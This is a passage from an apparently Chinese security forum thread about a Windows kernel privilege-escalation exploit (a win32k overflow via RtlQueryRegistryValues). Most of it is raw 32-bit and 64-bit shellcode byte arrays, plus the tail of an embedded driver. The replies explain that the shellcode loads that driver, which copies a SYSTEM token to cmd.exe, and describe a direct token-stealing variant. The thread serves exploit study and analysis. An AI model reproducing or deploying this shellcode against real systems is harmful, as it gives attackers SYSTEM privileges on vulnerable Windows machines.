        0x65, 0x49, 0x72, 0x71, 0x6C, 0x00, 0x48, 0x41, 0x4C, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x90, 0x34, 0xB8, 0x34, 0xDE, 0x34, 0xF1, 0x34,
        0xFB, 0x34, 0x1A, 0x35, 0x53, 0x35, 0x71, 0x35, 0x63, 0x36, 0x6F, 0x36, 0x87, 0x36, 0xA3, 0x36,
        0xC0, 0x36, 0xC7, 0x36, 0xE2, 0x36, 0xFC, 0x36, 0x0D, 0x37, 0x17, 0x37, 0x42, 0x37, 0x71, 0x37,
        0x7E, 0x37, 0x9E, 0x37, 0xA4, 0x37, 0xB2, 0x37, 0xBE, 0x37, 0x86, 0x39, 0x98, 0x39, 0x9F, 0x39,
        0xA4, 0x39, 0xAD, 0x39, 0xB4, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

BYTE Data[] = {
        0x54, 0xE8, 0x84, 0x03, 0x00, 0x00, 0x5C, 0x8B, 0xEC, 0x81, 0xC5, 0xAA, 0xAA, 0xAA, 0xAA, 0xFF,
        0x75, 0x04, 0xE8, 0x31, 0x00, 0x00, 0x00, 0x83, 0xF8, 0x00, 0x74, 0x04, 0x50, 0x33, 0xC0, 0xC3,
        0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0xC7, 0x45, 0xF8, 0xA0, 0x1C, 0xE9, 0xFF, 0xC7, 0x45, 0xFC,
        0xFF, 0xFF, 0xFF, 0xFF, 0x8D, 0x55, 0xF8, 0x52, 0x6A, 0x00, 0x6A, 0x00,        0xB8, 0x88, 0x88, 0x88,
        0x88, 0xFF, 0xD0, 0x8B, 0xE5, 0x5D, 0xEB, 0xD8, 0x55, 0x8B, 0xEC, 0x51, 0x8B, 0x45, 0x08, 0x8B,
        0x4D, 0x08, 0x03, 0x48, 0xFC, 0x89, 0x4D, 0x08, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0xEB,
        0x09, 0x8B, 0x55, 0xFC, 0x83, 0xC2, 0x01, 0x89, 0x55, 0xFC, 0x81, 0x7D, 0xFC, 0x00, 0x05, 0x00,
        0x00, 0x73, 0x1D, 0x8B, 0x45, 0x08, 0x40, 0x89, 0x45, 0x08, 0x0F, 0xBF, 0x00, 0x25, 0xFF, 0xFF,
        0x00, 0x00, 0x3D, 0x85, 0xC0, 0x00, 0x00, 0x75, 0x05, 0x8B, 0x45, 0x08, 0xEB, 0x04, 0xEB, 0xD1,
        0x33, 0xC0, 0x8B, 0xE5, 0x5D, 0xC2, 0x04, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x18, 0x8B, 0x45,
        0x08, 0x50, 0x8D, 0x4D, 0xF4, 0x51, 0xB8, 0x22, 0x22, 0x22, 0x22, 0xFF, 0xD0, 0x6A, 0x01, 0x8D,
        0x55, 0xF4, 0x52, 0x8D, 0x45, 0xEC, 0x50, 0xB8, 0x33, 0x33, 0x33, 0x33, 0xFF, 0xD0, 0x89, 0x45,
        0xE8, 0x80, 0x7D, 0xE8, 0x00, 0x7D, 0x04, 0x33, 0xC0, 0xEB, 0x1C, 0x8D, 0x4D, 0xEC, 0x51, 0xB8,
        0x44, 0x44, 0x44, 0x44, 0xFF, 0xD0, 0x89, 0x45, 0xFC, 0x8D, 0x55, 0xEC, 0x52, 0xB8, 0x55, 0x55,
        0x55, 0x55, 0xFF, 0xD0, 0x8B, 0x45, 0xFC, 0x8B, 0xE5, 0x5D, 0xC2, 0x04, 0x00, 0x55, 0x8B, 0xEC,
        0x83, 0xEC, 0x58, 0xC6, 0x45, 0xEF, 0x00, 0x8B, 0x45, 0x08, 0x8B, 0x48, 0x3C, 0x89, 0x4D, 0xD0,
        0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x55, 0x08, 0x03, 0x55, 0xD0, 0x89, 0x55, 0xDC,
        0x8B, 0x45, 0xDC, 0x8B, 0x48, 0x50, 0x89, 0x4D, 0xE4, 0x68, 0x74, 0x65, 0x73, 0x74, 0x8B, 0x55,
        0xE4, 0x52, 0x6A, 0x00, 0xB8, 0x11, 0x11, 0x11, 0x11, 0xFF, 0xD0, 0x89, 0x45, 0xE8, 0x83, 0x7D,
        0xE8, 0x00, 0x75, 0x05, 0xE9, 0x3F, 0x02, 0x00, 0x00, 0x8B, 0x45, 0xE4, 0x50, 0x6A, 0x00, 0x8B,
        0x4D, 0xE8, 0x51, 0xB8, 0x77, 0x77, 0x77, 0x77, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0x8B, 0x55, 0xDC,
        0x0F, 0xB7, 0x42, 0x06, 0x89, 0x45, 0xF4, 0x8B, 0x4D, 0xF4, 0x6B, 0xC9, 0x28, 0x8B, 0x55, 0xD0,
        0x8D, 0x84, 0x0A, 0xF8, 0x00, 0x00, 0x00, 0x89, 0x45, 0xD8, 0x8B, 0x4D, 0xD8, 0x51, 0x8B, 0x55,
        0x08, 0x52, 0x8B, 0x45, 0xE8, 0x50, 0xB8, 0x66, 0x66, 0x66, 0x66, 0xFF, 0xD0, 0x83, 0xC4, 0x0C,
        0x8B, 0x4D, 0xDC, 0x8B, 0x51, 0x3C, 0x83, 0xEA, 0x01, 0x89, 0x55, 0xD8, 0x8B, 0x45, 0xDC, 0x8B,
        0x48, 0x38, 0x83, 0xE9, 0x01, 0x89, 0x4D, 0xF8, 0x8B, 0x55, 0xDC, 0x81, 0xC2, 0xF8, 0x00, 0x00,
        0x00, 0x89, 0x55, 0xF0, 0xC7, 0x45, 0xD4, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x12, 0x8B, 0x45, 0xD4,
        0x83, 0xC0, 0x01, 0x89, 0x45, 0xD4, 0x8B, 0x4D, 0xF0, 0x83, 0xC1, 0x28, 0x89, 0x4D, 0xF0, 0x8B,
        0x55, 0xD4, 0x3B, 0x55, 0xF4, 0x7D, 0x42, 0x8B, 0x45, 0xF0, 0x8B, 0x48, 0x0C, 0x23, 0x4D, 0xF8,
        0x75, 0x0B, 0x8B, 0x55, 0xF0, 0x8B, 0x42, 0x10, 0x23, 0x45, 0xD8, 0x74, 0x05, 0xE9, 0x96, 0x01,
        0x00, 0x00, 0x8B, 0x4D, 0xF0, 0x8B, 0x51, 0x10, 0x52, 0x8B, 0x45, 0xF0, 0x8B, 0x4D, 0x08, 0x03,
        0x48, 0x14, 0x51, 0x8B, 0x55, 0xF0, 0x8B, 0x45, 0xE8, 0x03, 0x42, 0x0C, 0x50, 0xB8, 0x66, 0x66,
        0x66, 0x66, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0xEB, 0xA4, 0x8B, 0x4D, 0xDC, 0x83, 0xB9, 0x84, 0x00,
        0x00, 0x00, 0x00, 0x0F, 0x86, 0x82, 0x00, 0x00, 0x00, 0x8B, 0x55, 0xDC, 0x8B, 0x45, 0xE8, 0x03,
        0x82, 0x80, 0x00, 0x00, 0x00, 0x89, 0x45, 0xCC, 0xEB, 0x09, 0x8B, 0x4D, 0xCC, 0x83, 0xC1, 0x14,
        0x89, 0x4D, 0xCC, 0x8B, 0x55, 0xCC, 0x83, 0x7A, 0x0C, 0x00, 0x74, 0x5F, 0x8B, 0x45, 0xCC, 0x8B,
        0x4D, 0xE8, 0x03, 0x48, 0x10, 0x89, 0x4D, 0xC8, 0xEB, 0x09, 0x8B, 0x55, 0xC8, 0x83, 0xC2, 0x04,
        0x89, 0x55, 0xC8, 0x8B, 0x45, 0xC8, 0x83, 0x38, 0x00, 0x74, 0x3E, 0x8B, 0x4D, 0xC8, 0x8B, 0x11,
        0x81, 0xE2, 0x00, 0x00, 0x00, 0x80, 0x74, 0x02, 0xEB, 0x1A, 0x8B, 0x45, 0xC8, 0x8B, 0x4D, 0xE8,
        0x03, 0x08, 0x89, 0x4D, 0xC0, 0x8B, 0x55, 0xC0, 0x83, 0xC2, 0x02, 0x52, 0xE8, 0x17, 0xFE, 0xFF,
        0xFF, 0x89, 0x45, 0xC4, 0x83, 0x7D, 0xC4, 0x00, 0x75, 0x05, 0xE9, 0xE9, 0x00, 0x00, 0x00, 0x8B,
        0x45, 0xC8, 0x8B, 0x4D, 0xC4, 0x89, 0x08, 0xEB, 0xB1, 0xEB, 0x8F, 0x8B, 0x55, 0xDC, 0x83, 0xBA,
        0xA4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x86, 0xB3, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xDC, 0x8B, 0x4D,
        0xE8, 0x03, 0x88, 0xA0, 0x00, 0x00, 0x00, 0x89, 0x4D, 0xB8, 0x8B, 0x55, 0xDC, 0x8B, 0x45, 0xE8,
        0x2B, 0x42, 0x34, 0x89, 0x45, 0xBC, 0x8B, 0x4D, 0xB8, 0x83, 0x79, 0x04, 0x00, 0x0F, 0x84, 0x8B,
        0x00, 0x00, 0x00, 0x8B, 0x55, 0xB8, 0x8B, 0x42, 0x04, 0x83, 0xE8, 0x08, 0xD1, 0xE8, 0x89, 0x45,
        0xB4, 0x8B, 0x4D, 0xB8, 0x83, 0xC1, 0x08, 0x89, 0x4D, 0xB0, 0xC7, 0x45, 0xD4, 0x00, 0x00, 0x00,
        0x00, 0xEB, 0x09, 0x8B, 0x55, 0xD4, 0x83, 0xC2, 0x01, 0x89, 0x55, 0xD4, 0x8B, 0x45, 0xD4, 0x3B,
        0x45, 0xB4, 0x7D, 0x49, 0x8B, 0x4D, 0xD4, 0x8B, 0x55, 0xB0, 0x0F, 0xBF, 0x04, 0x4A, 0x25, 0xFF,
        0x0F, 0x00, 0x00, 0x89, 0x45, 0xA8, 0x8B, 0x4D, 0xD4, 0x8B, 0x55, 0xB0, 0x0F, 0xBF, 0x04, 0x4A,
        0xC1, 0xF8, 0x0C, 0x89, 0x45, 0xAC, 0x83, 0x7D, 0xAC, 0x03, 0x75, 0x1F, 0x8B, 0x4D, 0xB8, 0x8B,
        0x55, 0xE8, 0x03, 0x11, 0x8B, 0x45, 0xA8, 0x8B, 0x0C, 0x02, 0x03, 0x4D, 0xBC, 0x8B, 0x55, 0xB8,
        0x8B, 0x45, 0xE8, 0x03, 0x02, 0x8B, 0x55, 0xA8, 0x89, 0x0C, 0x10, 0xEB, 0xA6, 0x8B, 0x45, 0xB8,
        0x8B, 0x4D, 0xB8, 0x03, 0x48, 0x04, 0x89, 0x4D, 0xB8, 0xE9, 0x68, 0xFF, 0xFF, 0xFF, 0x8B, 0x55,
        0x10, 0x8B, 0x45, 0xE8, 0x89, 0x02, 0x8B, 0x4D, 0xDC, 0x8B, 0x55, 0xE8, 0x03, 0x51, 0x28, 0x8B,
        0x45, 0x14, 0x89, 0x10, 0xC6, 0x45, 0xEF, 0x01, 0x8A, 0x45, 0xEF, 0x8B, 0xE5, 0x5D, 0xC2, 0x10,
        0x00, 0xEB, 0x07, 0x8D, 0xA4, 0x24, 0x00, 0x00, 0x00, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x10,
        0xC6, 0x45, 0xFC, 0x00, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x8D, 0x55, 0xF0, 0x52, 0x8D,
        0x45, 0xF4, 0x50, 0x68, 0x44, 0x33, 0x22, 0x11, 0x68, 0x88, 0x77, 0x66, 0x55, 0xE8, 0x3B, 0xFD,
        0xFF, 0xFF, 0x0F, 0xB6, 0xC0, 0x85, 0xC0, 0x75, 0x02, 0xEB, 0x0B, 0x6A, 0x00, 0x6A, 0x00, 0xFF,
        0x55, 0xF0, 0xC6, 0x45, 0xFC, 0x01, 0x8A, 0x45, 0xFC, 0x8B, 0xE5, 0x5D, 0xC3
};

BYTE Data64[] = {
        0xFF, 0xB4, 0x24, 0x98, 0x00, 0x00, 0x00, 0xE8, 0x28, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x47, 0x74,
        0x6D, 0x70, 0x48, 0xC7, 0xC2, 0x01, 0x00, 0x00, 0x00, 0xB9, 0x21, 0x00, 0x00, 0x00, 0xFF, 0x10,
        0x48, 0x8B, 0xF0, 0xFF, 0xB4, 0x24, 0x98, 0x00, 0x00, 0x00, 0xE8, 0x42, 0x00, 0x00, 0x00, 0x50,
        0x48, 0x33, 0xC0, 0xC3, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x8B, 0x45, 0x10, 0x48, 0x63, 0x48, 0xFC,
        0x48, 0x03, 0xC8, 0x48, 0x89, 0x4D, 0x10, 0x48, 0x8B, 0x45, 0x10, 0x48, 0xFF, 0xC0, 0x48, 0x89,
        0x45, 0x10, 0x8B, 0x00, 0x3D, 0x41, 0x8B, 0xCD, 0xFF, 0x75, 0xEC, 0x48, 0x8B, 0x45, 0x10, 0x48,
        0x83, 0xC0, 0x09, 0x48, 0x63, 0x48, 0xFC, 0x48, 0x03, 0xC1, 0x48, 0x8B, 0xE5, 0x5D, 0xC2, 0x08,
        0x00, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x8B, 0x45, 0x10, 0x48, 0x63, 0x48, 0xFC, 0x48, 0x03, 0xC8,
        0x48, 0x89, 0x4D, 0x10, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x45, 0x10, 0x48,
        0xFF, 0xC0, 0x48, 0x89, 0x45, 0x10, 0x8B, 0x00, 0x3D, 0x41, 0x3B, 0xC4, 0x0F, 0x75, 0xEC, 0x83,
        0x7D, 0xFC, 0x01, 0x74, 0x05, 0xFF, 0x45, 0xFC, 0xEB, 0xE1, 0x48, 0x8B, 0x45, 0x10, 0x48, 0x8B,
        0xE5, 0x5D, 0xC2, 0x08, 0x00
};
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
KiDebug 4 2011-5-25 16:00
43
0
[QUOTE=huihuiqi;962559]南京瀚海源分析中的那个利用代码,这些数组是干什么用的?怎么和楼主的利用思路不一样吗?

BYTE DrvBuf[] = {
        0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, ...[/QUOTE]

BYTE DrvBuf[]里面保存的是一个.sys驱动,BYTE Data[]是一段shellcode,溢出后会执行这段shellcode,它用来加载DrvBuf这个驱动,处理输入表、重定位,之后跳到这个驱动的DriverEntry函数中。DriverEntry调用PsCreateSystemThread创建一个System线程,在这个线程中将services.exe的Token赋予cmd.exe,实现提权,可以看到BYTE DrvBuf[]前面的“0x4D, 0x5A, 0x90,”是PE文件的头部“MZ”标志。我的思路是直接在shellcode中把system进程的Token赋给当前进程,不需要加载驱动,之后在当前进程里面新建一个SYSTEM权限的CMD。我的代码只适用于单核,多核下可能会蓝屏。
雪    币: 284
活跃值: (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
darkplayer 2011-6-13 18:15
44
0
请问大家一个弱问题,楼主是怎么跟踪到win32k.sys的sub_BF81BA0B和sub_BF8773B7函数中的?
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
KiDebug 4 2011-6-13 20:21
45
0
IDA里面对RtlQueryRegistryValues按一下x
雪    币: 678
活跃值: (101)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
StudyRush 3 2011-6-13 21:20
46
0
这个算是交叉引用操作吧。
雪    币: 275
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
huihuiqi 2011-6-14 21:23
47
0
“当前键设置的类型为REG_BIN,参数的类型为一个结构,即第一个DWORD表示当前缓冲区的长度,同时由于UNICODE_STRING结构中的前4个字节一定不为0且符合需要复制的数据空间要求,故在RtlQueryRegistryValues()函数中,会错误地把数据直接复制到当前栈中。”

表示对这句话严重不理解!……
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
KiDebug 4 2011-6-14 21:43
48
0
表示我文章中好像没这段话…
雪    币: 275
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
huihuiqi 2011-6-15 09:43
49
0
嗯呢,这是南京瀚海源的分析文章中的原话,我感觉不好理解。
雪    币: 1489
活跃值: (955)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 19 2011-6-15 10:00
50
0
来学习下。。。呵呵
游客
登录 | 注册 方可回帖
返回